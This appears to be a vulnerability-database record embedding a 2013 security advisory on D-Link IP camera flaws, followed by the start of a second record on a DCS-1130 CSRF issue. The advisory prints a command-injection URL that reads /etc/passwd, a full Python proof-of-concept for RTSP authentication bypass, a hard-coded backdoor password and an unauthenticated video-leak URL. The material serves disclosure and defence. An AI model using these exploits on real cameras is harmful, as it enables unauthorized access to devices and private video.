\n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o . O O O O O O . o o o o o o o o o\nO O O O O O . O O O O O O O . o o o o o o o o o\nO O O O O O o O O O O O O O . o . o o o o o o o o\nO O O O O O o O O O O O O O . o o o . o o o o o o o o\nO O O O O O o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O . o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O O O O O O . o O O o o O O o . o o o o o\nO O O O O O O . o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O . O O O . o o o O o o O O o . o o o o\nO O O O O O O O O O O . o o o O o o O O o . o o o\nO O O O O O O O o o O o o o o o O o o o O o . o o o\nO O O O O O O O O . O o o o o o O o . o O o . o o\nO O O O O O O O O . O o . o o o o O . o O o . o\nO O O O O O O O O o o . o o o o o . o O o . o\nO O O O O O O O O O . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o . \no o O O O O O O O O o . o o o . o . O o . \no o o O O O O O O O o . o o o . o . O o . \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n 1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n 2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return \u0027\u0027\n\n\nclass DLink(Camera):\n # D-Link DCS-2102/1.06-5731\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any) \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468 ; Load from Memory\n.text:00011468 LDR R3, [R11,#s2]\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" \u003c-------\n.text:0001148C MOV R2, #3 ; n\n.text:00011490 BL strncmp ; Branch with Link\n.text:00011494 MOV R3, R0 ; Rd = Op2\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE loc_114BC ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1601"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"db": "BID",
"id": "59570"
},
{
"db": "PACKETSTORM",
"id": "121452"
}
],
"trust": 2.52
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1601",
"trust": 3.4
},
{
"db": "BID",
"id": "59570",
"trust": 2.5
},
{
"db": "VULDB",
"id": "8573",
"trust": 1.6
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2013-04635",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-042",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "121452",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"db": "BID",
"id": "59570"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
},
{
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"id": "VAR-202001-0841",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
}
],
"trust": 1.4399058611111109
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"IoT",
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
}
]
},
"last_update_date": "2024-08-14T14:12:01.622000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "http://www.dlink.lt/en/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.0
},
{
"problemtype": "information leak (CWE-200) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.6,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
},
{
"trust": 1.6,
"url": "http://www.securityfocus.com/bid/59570"
},
{
"trust": 1.6,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1601"
},
{
"trust": 1.6,
"url": "https://vuldb.com/?id.8573"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
},
{
"trust": 0.6,
"url": "http://seclists.org/fulldisclosure/2013/apr/253"
},
{
"trust": 0.3,
"url": "http://www.dlink.com/"
},
{
"trust": 0.3,
"url": "http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities "
},
{
"trust": 0.1,
"url": "http://192.168.1.100/md/lums.cgi"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
},
{
"trust": 0.1,
"url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/upnp/asf-mp4.asf"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"db": "BID",
"id": "59570"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
},
{
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"db": "BID",
"id": "59570"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
},
{
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59570"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"date": "2013-04-29T23:41:50",
"db": "PACKETSTORM",
"id": "121452"
},
{
"date": "2013-04-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-042"
},
{
"date": "2020-01-28T21:15:11.327000",
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04635"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59570"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007135"
},
{
"date": "2020-05-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-042"
},
{
"date": "2021-04-26T16:36:06.993000",
"db": "NVD",
"id": "CVE-2013-1601"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural \u00a0D-Link\u00a0 Information disclosure vulnerabilities in products",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007135"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-042"
}
],
"trust": 0.6
}
}
var-201907-1067
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user's password. D-Link DCS-1130 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. A security vulnerability exists in D-LinkDCS-1130 that caused the program to fail to perform arbitrary cross-site request forgery protection mechanisms. An attacker could use this vulnerability to entice a user to modify a user's password
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1067",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21076"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
},
{
"db": "NVD",
"id": "CVE-2017-8407"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014558"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8407",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
